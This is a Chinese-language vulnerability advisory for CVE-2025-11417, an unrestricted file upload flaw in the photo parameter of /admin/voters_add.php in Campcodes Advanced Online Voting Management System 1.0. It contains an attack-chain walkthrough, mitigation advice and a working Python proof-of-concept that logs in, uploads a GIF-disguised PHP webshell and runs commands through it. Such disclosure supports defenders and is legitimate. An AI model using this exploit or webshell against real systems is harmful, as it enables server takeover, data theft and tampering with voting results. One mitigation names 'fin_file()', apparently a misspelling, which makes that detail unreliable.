IPBUF安全漏洞报告
English
CVE-2025-11417 CVSS 6.3 中危

CVE-2025-11417:Campcodes在线投票管理系统任意文件上传漏洞

披露日期: 2025-10-08

漏洞信息

漏洞编号
CVE-2025-11417
漏洞类型
任意文件上传(Unrestricted File Upload)
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Campcodes Advanced Online Voting Management System

相关标签

CVE-2025-11417任意文件上传Unrestricted UploadCampcodes投票管理系统PHP漏洞远程代码执行RCEWebShell中危漏洞

漏洞概述

CVE-2025-11417是Campcodes Advanced Online Voting Management System 1.0版本中存在的一个安全漏洞。该漏洞位于管理后台的/admin/voters_add.php文件中,具体涉及对photo参数的处理逻辑存在缺陷。攻击者可以通过精心构造的photo参数上传任意类型的文件到服务器,从而实现远程攻击。

该漏洞的CVSS 3.1评分为6.3分,属于中等严重等级。虽然该漏洞需要低权限认证(PR:L)才能利用,且对机密性、完整性和可用性的影响均为低级别,但由于攻击可通过网络远程发起(AV:N),且无需用户交互(UI:N),加上漏洞利用代码已公开,因此仍然对使用该系统的组织构成实质性安全威胁。

Campcodes Advanced Online Voting Management System是一款基于Web的在线投票管理系统,主要用于学校、组织或社区等场景的在线选举和投票活动。由于投票系统通常涉及用户身份认证和敏感数据(如投票人信息、投票记录等),一旦系统被攻破,可能导致数据泄露、投票结果被篡改或系统被完全控制等严重后果。该漏洞已于2025年10月8日由[email protected]披露,相关的PoC利用代码已在GitHub等平台公开传播。

技术细节

该漏洞的核心问题在于/admin/voters_add.php文件对上传文件的验证机制不完善。具体而言,当管理员或具有低权限的用户通过voters_add.php添加投票人信息时,系统需要对photo参数对应的上传文件进行处理,但代码中缺少对上传文件类型、扩展名和内容的充分验证。

攻击者可以利用这一缺陷,通过构造包含恶意代码的文件(如PHP WebShell)并将其伪装为图片文件(如修改Content-Type或使用双重扩展名)进行上传。由于服务器未对文件进行严格的MIME类型检查、扩展名白名单校验或文件内容检测,恶意文件将被成功保存到Web可访问目录中。

一旦恶意文件上传成功,攻击者可以通过浏览器直接访问该文件,从而在服务器上执行任意PHP代码,实现远程命令执行。攻击者可进一步获取服务器控制权、访问数据库、窃取敏感信息或植入后门程序。

利用条件方面,攻击者需要拥有系统的低权限账户(如普通管理员或子管理员账户),这通常可以通过暴力破解、钓鱼攻击或利用其他漏洞获取。由于投票管理系统通常面向公众开放,注册功能可能较为宽松,攻击者获取低权限账户的门槛相对较低。

攻击链分析

STEP 1
步骤1:信息收集
攻击者首先识别目标系统为Campcodes Advanced Online Voting Management System 1.0,通过搜索引擎或Shodan等工具定位暴露在公网上的目标实例。
STEP 2
步骤2:获取低权限凭证
攻击者通过暴力破解、默认凭证尝试、社会工程或利用其他已知漏洞获取系统的低权限管理员账户。由于投票系统通常有注册功能,获取基础账户的门槛较低。
STEP 3
步骤3:登录管理后台
使用获取的凭证登录/admin/login.php,建立有效的会话(Session),获取访问管理功能的权限。
STEP 4
步骤4:构造恶意上传请求
访问/admin/voters_add.php,构造包含恶意PHP代码的'photo'参数上传请求。攻击者通常会在PHP文件前添加合法的图片文件头(如GIF89a)来绕过简单的文件类型检查。
STEP 5
步骤5:上传WebShell
由于系统未对上传文件进行严格的类型和内容验证,恶意PHP文件被成功上传到服务器可访问目录中。
STEP 6
步骤6:执行远程代码
攻击者通过浏览器访问上传的恶意文件,利用其中的WebShell执行系统命令,获取服务器控制权,进一步渗透内网或窃取敏感数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11417 PoC - Campcodes Advanced Online Voting Management System # Unrestricted File Upload via /admin/voters_add.php (photo parameter) import requests import sys from requests_toolbelt.multipart.encoder import MultipartEncoder TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" USERNAME = sys.argv[2] if len(sys.argv) > 2 else "admin" PASSWORD = sys.argv[3] if len(sys.argv) > 3 else "password" session = requests.Session() # Step 1: Login to the admin panel to obtain a valid session login_url = f"{TARGET_URL}/admin/login.php" login_data = { "username": USERNAME, "password": PASSWORD, "login": "submit" } resp = session.post(login_url, data=login_data) print(f"[*] Login response status: {resp.status_code}") # Step 2: Prepare malicious PHP webshell payload disguised as an image # Using a GIF header to bypass naive content-type checks php_payload = b"GIF89a;\n<?php system($_GET['cmd']); ?>" upload_url = f"{TARGET_URL}/admin/voters_add.php" multipart_data = MultipartEncoder( fields={ "firstname": "test", "lastname": "test", "username": "voter_test", "password": "test123", "photo": ("shell.php", php_payload, "image/gif"), "add": "submit" } ) headers = { "Content-Type": multipart_data.content_type, "Referer": f"{TARGET_URL}/admin/voters_add.php" } # Step 3: Upload the malicious file print(f"[*] Uploading payload to {upload_url}") resp = session.post(upload_url, data=multipart_data, headers=headers) print(f"[*] Upload response status: {resp.status_code}") # Step 4: Try to access the uploaded webshell # Common upload directories in Campcodes voting system shell_paths = [ f"{TARGET_URL}/admin/uploads/shell.php", f"{TARGET_URL}/admin/upload/shell.php", f"{TARGET_URL}/admin/images/shell.php", f"{TARGET_URL}/uploads/shell.php", f"{TARGET_URL}/upload/shell.php", f"{TARGET_URL}/images/shell.php" ] for shell_url in shell_paths: print(f"[*] Checking shell at: {shell_url}") resp = session.get(shell_url, params={"cmd": "id"}) if resp.status_code == 200 and ("uid=" in resp.text or "www-data" in resp.text): print(f"[+] SUCCESS! Webshell is accessible at: {shell_url}") print(f"[+] Command output: {resp.text}") break else: print("[-] Could not locate uploaded shell. Check upload directory manually.")

影响范围

Campcodes Advanced Online Voting Management System 1.0

防御指南

临时缓解措施
在官方补丁发布之前,建议采取以下临时缓解措施:1)限制/admin/voters_add.php的访问权限,仅允许可信IP地址访问管理后台;2)修改服务器配置,禁止上传目录中的脚本执行权限(如在Apache中设置.htaccess禁止PHP执行,在Nginx中配置location规则);3)对上传文件进行二次验证,使用文件类型检测库(如PHP的fin_file()函数)验证文件真实类型;4)加强管理员账户的安全策略,使用强密码并启用双因素认证;5)部署入侵检测系统(IDS)监控异常的文件上传行为;6)定期检查上传目录中是否存在可疑的PHP或其他可执行文件。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表